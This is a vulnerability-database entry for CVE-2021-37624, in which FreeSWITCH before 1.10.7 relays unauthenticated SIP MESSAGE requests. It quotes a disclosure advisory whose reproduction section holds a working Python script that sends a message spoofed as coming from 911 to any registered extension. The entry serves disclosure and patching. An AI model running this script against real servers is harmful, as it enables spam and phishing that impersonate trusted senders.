ID
VAR-202110-1048
CVE
CVE-2021-37624
TITLE
FreeSWITCH Authentication vulnerability in
Trust: 0.8
DESCRIPTION
FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to version 1.10.7, FreeSWITCH does not authenticate SIP MESSAGE requests, leading to spam and message spoofing. By default, SIP requests of the type MESSAGE (RFC 3428) are not authenticated in the affected versions of FreeSWITCH. MESSAGE requests are relayed to SIP user agents registered with the FreeSWITCH server without requiring any authentication. Although this behaviour can be changed by setting the `auth-messages` parameter to `true`, it is not the default setting. Abuse of this security issue allows attackers to send SIP MESSAGE messages to any SIP user agent that is registered with the server without requiring authentication. Additionally, since no authentication is required, chat messages can be spoofed to appear to come from trusted entities. Therefore, abuse can lead to spam and enable social engineering, phishing and similar attacks. This issue is patched in version 1.10.7. Maintainers recommend that this SIP message type is authenticated by default so that FreeSWITCH administrators do not need to be explicitly set the `auth-messages` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication. FreeSWITCH There is an authentication vulnerability in.Information may be tampered with. FreeSWITCH is a set of free and open source communication software developed by the individual developer Anthony Minesale in the United States. The software can be used to create audio, video and short message products and applications. We are issuing this advisory because, in the course of our work, we have noticed that most FreeSWITCH installations that are exposed to the Internet do not authenticate MESSAGE requests. ## How to reproduce the issue 1. Install FreeSWITCH v1.10.6 or lower 2. Run FreeSWITCH using the default configuration 3. Register as a legitimate SIP user with the FreeSWITCH server (e.g. `sip:1000@192.168.1.100` where `192.168.1.100` is your FreeSWITCH server) using a softphone that can process MESSAGE (such as Zoiper) 4. Save the below Python script to `anon-message.py` 5. Run the Python script `python anon-message.py <freeswitch_ip> <target_extension>` 6. Observe the SIP message appear on your softphone, pretending to be from 911 ```python import sys, socket, random, string UDP_IP = sys.argv[1] UDP_PORT = 5060 ext = sys.argv[2] rand = ''.join(random.choice(string.ascii_lowercase) for i in range(8)) msg="MESSAGE sip:%s@%s SIP/2.0\r\n" % (ext, UDP_IP) msg+="Via: SIP/2.0/UDP 192.168.1.159:46896;rport;branch=z9hG4bK-%s\r\n" % rand msg+="Max-Forwards: 70\r\n" msg+="From: 911 <sip:911@%s>;tag=%s\r\n" %(UDP_IP, rand) msg+="To: <sip:%s@%s>\r\n" %(ext, UDP_IP) msg+="Call-ID: %s\r\n" % rand msg+="CSeq: 1 MESSAGE\r\n" msg+="Contact: <sip:911@192.168.1.159:48760;transport=udp>\r\n" msg+="Content-Type: text/plain\r\n" msg+="Content-Length: 5\r\n\r\n" msg+="hello" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) ``` ## Solution and recommendations Upgrade to a version of FreeSWITCH that fixes this issue. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>
Trust: 1.89
AFFECTED PRODUCTS
| vendor: | freeswitch | model: | freeswitch | scope: | lt | version: | 1.10.7 | Trust: 1.0 |
| vendor: | freeswitch | model: | freeswitch | scope: | eq | version: | - | Trust: 0.8 |
| vendor: | freeswitch | model: | freeswitch | scope: | eq | version: | 1.10.7 | Trust: 0.8 |
CVSS
SEVERITY | CVSSV2 | CVSSV3 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
PROBLEMTYPE DATA
| problemtype: | CWE-287 | Trust: 1.1 |
| problemtype: | CWE-306 | Trust: 1.1 |
| problemtype: | Inappropriate authentication (CWE-287) [NVD evaluation ] | Trust: 0.8 |
THREAT TYPE
remote
Trust: 0.6
TYPE
access control error
Trust: 0.6
PATCH
| title: | FreeSWITCH v1.10.7 Release GitHub | url: | https://github.com/signalwire/freeswitch/releases/tag/v1.10.7 | Trust: 0.8 |
| title: | FreeSWITCH Remediation measures for authorization problem vulnerabilities | url: | http://123.124.177.30/web/xxk/bdxqById.tag?id=167182 | Trust: 0.6 |
| title: | - | url: | https://github.com/Live-Hack-CVE/CVE-2021-37624 | Trust: 0.1 |
| title: | PewSWITCH | url: | https://github.com/0xInfection/PewSWITCH | Trust: 0.1 |
| title: | - | url: | https://github.com/soosmile/POC | Trust: 0.1 |
EXTERNAL IDS
| db: | NVD | id: | CVE-2021-37624 | Trust: 3.5 |
| db: | PACKETSTORM | id: | 164628 | Trust: 1.9 |
| db: | OPENWALL | id: | OSS-SECURITY/2021/10/25/6 | Trust: 1.8 |
| db: | JVNDB | id: | JVNDB-2021-013913 | Trust: 0.8 |
| db: | CNNVD | id: | CNNVD-202110-1790 | Trust: 0.7 |
| db: | VULHUB | id: | VHN-397859 | Trust: 0.1 |
| db: | VULMON | id: | CVE-2021-37624 | Trust: 0.1 |
REFERENCES
| url: | http://packetstormsecurity.com/files/164628/freeswitch-1.10.6-missing-sip-message-authentication.html | Trust: 2.4 |
| url: | https://github.com/signalwire/freeswitch/security/advisories/ghsa-mjcm-q9h8-9xv3 | Trust: 1.9 |
| url: | http://seclists.org/fulldisclosure/2021/oct/44 | Trust: 1.8 |
| url: | https://github.com/signalwire/freeswitch/releases/tag/v1.10.7 | Trust: 1.8 |
| url: | http://www.openwall.com/lists/oss-security/2021/10/25/6 | Trust: 1.8 |
| url: | https://nvd.nist.gov/vuln/detail/cve-2021-37624 | Trust: 1.5 |
| url: | https://cwe.mitre.org/data/definitions/306.html | Trust: 0.1 |
| url: | https://github.com/live-hack-cve/cve-2021-37624 | Trust: 0.1 |
| url: | https://nvd.nist.gov | Trust: 0.1 |
| url: | https://github.com/0xinfection/pewswitch | Trust: 0.1 |
| url: | https://github.com/enablesecurity/vulnerability-disclosure-policy>. | Trust: 0.1 |
| url: | https://www.enablesecurity.com) | Trust: 0.1 |
| url: | https://github.com/enablesecurity/advisories/tree/master/es2021-07-freeswitch-sip-message-without-auth | Trust: 0.1 |
CREDITS
Sandro Gauci
Trust: 0.1
SOURCES
| db: | VULHUB | id: | VHN-397859 |
| db: | VULMON | id: | CVE-2021-37624 |
| db: | JVNDB | id: | JVNDB-2021-013913 |
| db: | PACKETSTORM | id: | 164628 |
| db: | CNNVD | id: | CNNVD-202110-1790 |
| db: | NVD | id: | CVE-2021-37624 |
LAST UPDATE DATE
2024-08-14T13:43:17.548000+00:00
SOURCES UPDATE DATE
| db: | VULHUB | id: | VHN-397859 | date: | 2022-10-27T00:00:00 |
| db: | VULMON | id: | CVE-2021-37624 | date: | 2022-10-27T00:00:00 |
| db: | JVNDB | id: | JVNDB-2021-013913 | date: | 2022-09-29T07:20:00 |
| db: | CNNVD | id: | CNNVD-202110-1790 | date: | 2022-10-28T00:00:00 |
| db: | NVD | id: | CVE-2021-37624 | date: | 2022-10-27T16:36:33.607 |
SOURCES RELEASE DATE
| db: | VULHUB | id: | VHN-397859 | date: | 2021-10-25T00:00:00 |
| db: | VULMON | id: | CVE-2021-37624 | date: | 2021-10-25T00:00:00 |
| db: | JVNDB | id: | JVNDB-2021-013913 | date: | 2022-09-29T00:00:00 |
| db: | PACKETSTORM | id: | 164628 | date: | 2021-10-25T17:12:16 |
| db: | CNNVD | id: | CNNVD-202110-1790 | date: | 2021-10-25T00:00:00 |
| db: | NVD | id: | CVE-2021-37624 | date: | 2021-10-25T16:15:08.263 |